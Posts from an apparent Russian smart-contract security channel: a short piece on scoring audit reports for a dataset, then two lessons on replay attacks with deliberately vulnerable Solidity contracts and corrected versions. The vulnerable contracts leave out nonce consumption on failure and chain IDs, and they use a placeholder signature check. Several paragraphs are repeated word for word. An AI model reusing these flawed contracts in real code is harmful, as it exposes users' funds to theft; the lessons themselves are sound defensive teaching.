Для этого была разработана система взвешивания. Основной вклад вносили три компонента: детальное описание проблемы, рекомендации по ее устранению и наличие доказательства концепции (PoC). Наибольший вес был назначен доказательству концепции, так как его наличие существенно повышает практическую ценность отчета. Дополнительные баллы начислялись за включение фрагментов кода на Solidity и за уровень серьезности самой уязвимости.
Для того, чтобы система оценок была более справедливой и сбалансированной, сырые баллы прошли процесс нормализации. Была применена логарифмическая функция, которая сжимает исходный диапазон значений от нуля до пятнадцати в интервал от нуля до единицы. Это предотвратило ситуацию, при которой несколько идеальных отчетов с максимальными баллами доминировали бы над всеми остальными, и позволило выстроить более плавный и информативный градиент качества.
Статистический анализ полученных данных выявил любопытные закономерности. Средний вес по всем отчетам составил 0.32 при медианном значении 0.27. Это означает, что половина всех проанализированных отчетов имеет оценку ниже 0.27. Распределение весов является скошенным, с явным пиком в области низких значений, что указывает на преобладание относительно кратких или неполных описаний уязвимостей.
Качественными можно считать лишь около четверти всех отчетов, чей вес превышает значение 0.51. Наличие доказательства концепции и сопровождающего его кода является ключевым фактором, который отделяет эту группу от общей массы. Именно эти отчеты формируют так называемый золотой фонд данных, наиболее пригодный для эффективного обучения моделей искусственного интеллекта.
Проведенная работа наглядно демонстрирует, что подробные отчеты с практическими примерами реализации уязвимости пока что являются скорее исключением, чем правилом. Это создает определенные вызовы для автоматизации аудита, но одновременно выделяет истинную ценность глубоких и тщательно проработанных исследований. Собранный датасет с взвешенными уязвимостями открывает путь к созданию инструмента, способного существенно повысить эффективность и точность анализа безопасности смарт-контрактов.
Такой анализ подчеркивает важность не только обнаружения уязвимости, но и качества ее документации для всего сообщества. Полнота отчета напрямую влияет на скорость и точность его обработки как человеком, так и алгоритмом, что в конечном счете способствует повышению общего уровня безопасности в экосистеме блокчейна.
#notsosmart
🔥9
Replay атака. Часть 1
Атака повторного воспроизведения происходит, когда действительная передача данных, такая как подписанное сообщение или транзакция, злонамеренно повторяется. В смарт контрактах злоумышленник перехватывает законное, подписанное действие пользователя. Затем он «воспроизводит» его позже в другой сети, чтобы вызвать непреднамеренное изменение состояния, такое как списание средств или выполнение разрешенной функции без авторизации.
Для защиты от таких атак разработчики используют несколько важных инструментов:
1. Nonce («одноразовое число»): в блокчейне nonce — это уникальный последовательный счетчик, привязанный к адресу пользователя. Требуя, чтобы каждое подписанное действие включало текущее nonce пользователя, контракт может гарантировать, что каждое действие будет выполнено только один раз. После обработки nonce увеличивается, поэтому подпись не может быть использована повторно.
2. Параметры, специфичные для цепочки: с появлением нескольких блокчейнов, совместимых с Ethereum Virtual Machine (EVM) (например, Ethereum, Polygon, Arbitrum и т. д.), приватный ключ и адрес пользователя часто одинаковы во всех сетях. Подпись, созданная для контракта на Ethereum, может быть действительна для идентичного контракта на Polygon, если она не содержит данных, специфичных для этой сети. Включение block.chainid в подписанные данные связывает подпись с одной конкретной сетью, предотвращая межсетевые атаки повторного воспроизведения.
3. Разделитель домена: это криптографический механизм, стандартизированный в EIP-712, который связывает подпись с конкретным контекстом приложения. Это уникальный хеш, содержащий такую информацию, как название контракта, версия, адрес и chainid. Это гарантирует, что подпись, предназначенная для одного децентрализованного приложения (DApp), не может быть повторно использована в другом, обеспечивая надежную защиту как от межсетевых, так и от cross-DApp атак повторного воспроизведения.
Теперь давайте рассмотрим, как применять эти механизмы к конкретным уязвимостям.
Существуют ли меры защиты от атак повторного воспроизведения для неудачных транзакций?
Эта проверка сосредоточена на распространенном недостатке реализации: увеличение nonce пользователя только после успешного завершения транзакции. Если транзакция завершается неудачно из-за временных обстоятельств (например, в контракте недостаточно средств), nonce остается неизменным. Подписанное сообщение по-прежнему остается действительным и может быть повторно использовано любым лицом после устранения обстоятельств.
Рассмотрим контракт RewardSystem, который позволяет пользователям получать заработанные вознаграждения.
Атака повторного воспроизведения происходит, когда действительная передача данных, такая как подписанное сообщение или транзакция, злонамеренно повторяется. В смарт контрактах злоумышленник перехватывает законное, подписанное действие пользователя. Затем он «воспроизводит» его позже в другой сети, чтобы вызвать непреднамеренное изменение состояния, такое как списание средств или выполнение разрешенной функции без авторизации.
Для защиты от таких атак разработчики используют несколько важных инструментов:
1. Nonce («одноразовое число»): в блокчейне nonce — это уникальный последовательный счетчик, привязанный к адресу пользователя. Требуя, чтобы каждое подписанное действие включало текущее nonce пользователя, контракт может гарантировать, что каждое действие будет выполнено только один раз. После обработки nonce увеличивается, поэтому подпись не может быть использована повторно.
2. Параметры, специфичные для цепочки: с появлением нескольких блокчейнов, совместимых с Ethereum Virtual Machine (EVM) (например, Ethereum, Polygon, Arbitrum и т. д.), приватный ключ и адрес пользователя часто одинаковы во всех сетях. Подпись, созданная для контракта на Ethereum, может быть действительна для идентичного контракта на Polygon, если она не содержит данных, специфичных для этой сети. Включение block.chainid в подписанные данные связывает подпись с одной конкретной сетью, предотвращая межсетевые атаки повторного воспроизведения.
3. Разделитель домена: это криптографический механизм, стандартизированный в EIP-712, который связывает подпись с конкретным контекстом приложения. Это уникальный хеш, содержащий такую информацию, как название контракта, версия, адрес и chainid. Это гарантирует, что подпись, предназначенная для одного децентрализованного приложения (DApp), не может быть повторно использована в другом, обеспечивая надежную защиту как от межсетевых, так и от cross-DApp атак повторного воспроизведения.
Теперь давайте рассмотрим, как применять эти механизмы к конкретным уязвимостям.
Существуют ли меры защиты от атак повторного воспроизведения для неудачных транзакций?
Эта проверка сосредоточена на распространенном недостатке реализации: увеличение nonce пользователя только после успешного завершения транзакции. Если транзакция завершается неудачно из-за временных обстоятельств (например, в контракте недостаточно средств), nonce остается неизменным. Подписанное сообщение по-прежнему остается действительным и может быть повторно использовано любым лицом после устранения обстоятельств.
Рассмотрим контракт RewardSystem, который позволяет пользователям получать заработанные вознаграждения.
❤3
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/access/Ownable.sol";
contract RewardSystem is Ownable {
mapping(address => uint256) public rewards;
mapping(address => uint256) public nonces;
constructor() Ownable(msg.sender) {}
// For PoC simplicity, we don't use real signatures
function claimReward(address user, uint256 amount, uint256 nonce, bytes memory signature) external {
require(rewards[user] >= amount, "Insufficient reward balance");
require(nonces[user] == nonce, "Invalid nonce");
// Vulnerability: Signature can be replayed once contract has funds
bytes32 messageHash = keccak256(abi.encode(
user,
amount,
nonce
));
// For PoC, use a simple signature check
bytes32 signedHash = abi.decode(signature, (bytes32));
require(signedHash == messageHash, "Invalid signature");
// Attempt to transfer reward
rewards[user] -= amount;
(bool success,) = msg.sender.call{value: amount}("");
// Vulnerability: Nonce is only incremented if transfer succeeds
if (success) {
nonces[user]++;
} else {
revert("Transfer failed");
}
}
// Helper function to add rewards - only owner can call
function addReward(address user, uint256 amount) external onlyOwner {
rewards[user] += amount;
}
// Helper function to receive ETH
receive() external payable {}
}
Функция claimReward увеличивает значение nonce пользователя только в случае успешного перевода ETH. Если в контракте нет ETH, msg.sender.call завершится с ошибкой, транзакция будет отменена, а значение nonces[user] не будет увеличено. Подпись пользователя, которая была действительна для этого значения nonce, остается действительной.
Злоумышленник может отслеживать эти неудачные заявки. Как только контракт RewardSystem будет профинансирован, злоумышленник может повторить исходную транзакцию пользователя, направив вознаграждение на свой собственный адрес.
Как исправить: используйте nonce в каждом пути выполнения!
Убедитесь, что nonce используется (помечается как использованный) в каждом пути выполнения, независимо от того, завершилось ли оно успешно или неудачно. Лучшая практика заключается в том, чтобы использовать nonce сразу после его проверки и убедиться, что транзакция не будет отменена после этого момента. Таким образом, даже если транзакция завершится неудачно, nonce все равно будет увеличен, что предотвратит атаки повторного воспроизведения.
// Corrected claimReward function (inside RewardSystem)
function claimReward(address user, uint256 amount, uint256 nonce, bytes memory signature) external {
require(rewards[user] >= amount, "Insufficient reward balance");
require(nonces[user] == nonce, "Invalid nonce");
// For PoC, use a simple signature check
bytes32 messageHash = keccak256(abi.encode(user, amount, nonce));
bytes32 signedHash = abi.decode(signature, (bytes32));
require(signedHash == messageHash, "Invalid signature");
// REMEDIATION 1: Consume nonce right after validating it
nonces[user]++;
rewards[user] -= amount;
(bool success,) = msg.sender.call{value: amount}("");
if (!success) {
// Revert the reward deduction if transfer failed
rewards[user] += amount;
}
// REMEDIATION 2: No revert to ensure nonce is consumed
}
С этим исправлением, даже если передача не удалась, nonce становится недействительным. Злоумышленник не может повторно использовать подпись, поскольку контракт теперь будет ожидать nonce + 1.
#replay
👍2🔥1
Replay атака. Часть 2
Существует ли защита от повторного использования подписей в разных сетях?
Этот пункт проверки касается критической уязвимости нескольких сетей. Поскольку приватный ключ пользователя контролирует его адрес во всех сетях EVM, подпись, созданная для контракта на Ethereum, может быть повторно использована при идентичном развертывании этого контракта на Polygon, Arbitrum или любой другой сети EVM. Если подпись не содержит идентификатор блокчейна, она становится универсальным ключом, который злоумышленник может использовать в разных сетях.
Рассмотрим контракт VulnerableVault, предназначенный для того, чтобы его владелец мог изменить получателя с помощью подписанного сообщения.
MessageHash включает нового получателя и метку времени истечения срока действия, но в нем отсутствует block.chainid. Это означает, что подпись, сгенерированная для этого действия, является переносимой, т. е. злоумышленник может взять действительную подпись из одной сети и использовать ее в другой.
Исправление: встраивание данных, специфичных для цепочки, в подписи.
Прямым исправлением является включение block.chainid в данные, которые хэшируются и подписываются. Это навсегда привязывает подпись к одной сети. Для более надежного и стандартизированного решения используйте EIP-712, который встраивает эту защиту непосредственно в свою структуру через разделитель домена.
Вот простое исправление, примененное к новому контракту SecureVault.
Атаки с повторным воспроизведением используют действительные намерения пользователей в недействительных контекстах. Понимая, как злоумышленники могут дублировать действия во времени или между сетями, мы можем встроить в наши контракты более точную и безопасную логику проверки.
Разработка безопасных контрактов требует верной точки зрения:
Существует ли защита от повторного использования подписей в разных сетях?
Этот пункт проверки касается критической уязвимости нескольких сетей. Поскольку приватный ключ пользователя контролирует его адрес во всех сетях EVM, подпись, созданная для контракта на Ethereum, может быть повторно использована при идентичном развертывании этого контракта на Polygon, Arbitrum или любой другой сети EVM. Если подпись не содержит идентификатор блокчейна, она становится универсальным ключом, который злоумышленник может использовать в разных сетях.
Рассмотрим контракт VulnerableVault, предназначенный для того, чтобы его владелец мог изменить получателя с помощью подписанного сообщения.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract VulnerableVault {
address public owner;
address public recipient;
mapping(bytes32 => bool) public isConsumed;
constructor(address _owner, address _recipient) {
owner = _owner;
recipient = _recipient;
}
function changeRecipient(address _newRecipient, uint256 _expiry, bytes memory _signature) external {
require(block.timestamp <= _expiry, "Signature expired");
// VULNERABILITY: Missing chain ID in the signature data
bytes32 messageHash = keccak256(abi.encode(
msg.sender, // In the PoC, this is the test contract's address
_newRecipient,
_expiry
));
// For PoC, use a simple signature check
bytes32 signedHash = abi.decode(_signature, (bytes32));
require(signedHash == messageHash, "Invalid signature");
require(!isConsumed[messageHash], "Signature already used");
isConsumed[messageHash] = true;
recipient = _newRecipient;
}
}
MessageHash включает нового получателя и метку времени истечения срока действия, но в нем отсутствует block.chainid. Это означает, что подпись, сгенерированная для этого действия, является переносимой, т. е. злоумышленник может взять действительную подпись из одной сети и использовать ее в другой.
Исправление: встраивание данных, специфичных для цепочки, в подписи.
Прямым исправлением является включение block.chainid в данные, которые хэшируются и подписываются. Это навсегда привязывает подпись к одной сети. Для более надежного и стандартизированного решения используйте EIP-712, который встраивает эту защиту непосредственно в свою структуру через разделитель домена.
Вот простое исправление, примененное к новому контракту SecureVault.
// Corrected changeRecipient function (inside a new SecureVault contract)
contract SecureVault {
// ... same state variables and constructor as VulnerableVault ...
address public owner;
address public recipient;
mapping(bytes32 => bool) public isConsumed;
constructor(address _owner, address _recipient) {
owner = _owner;
recipient = _recipient;
}
function changeRecipient(address _newRecipient, uint256 _expiry, bytes memory _signature) external {
require(block.timestamp <= _expiry, "Signature expired");
// REMEDIATION: Include the chain ID to make the signature chain-specific.
bytes32 messageHash = keccak256(abi.encode(
msg.sender,
_newRecipient,
_expiry,
block.chainid // Added chain ID
));
// For PoC, use a simple signature check
bytes32 signedHash = abi.decode(_signature, (bytes32));
require(signedHash == messageHash, "Invalid signature");
require(!isConsumed[messageHash], "Signature already used");
isConsumed[messageHash] = true;
recipient = _newRecipient;
}
}
Атаки с повторным воспроизведением используют действительные намерения пользователей в недействительных контекстах. Понимая, как злоумышленники могут дублировать действия во времени или между сетями, мы можем встроить в наши контракты более точную и безопасную логику проверки.
Разработка безопасных контрактов требует верной точки зрения:
🔥1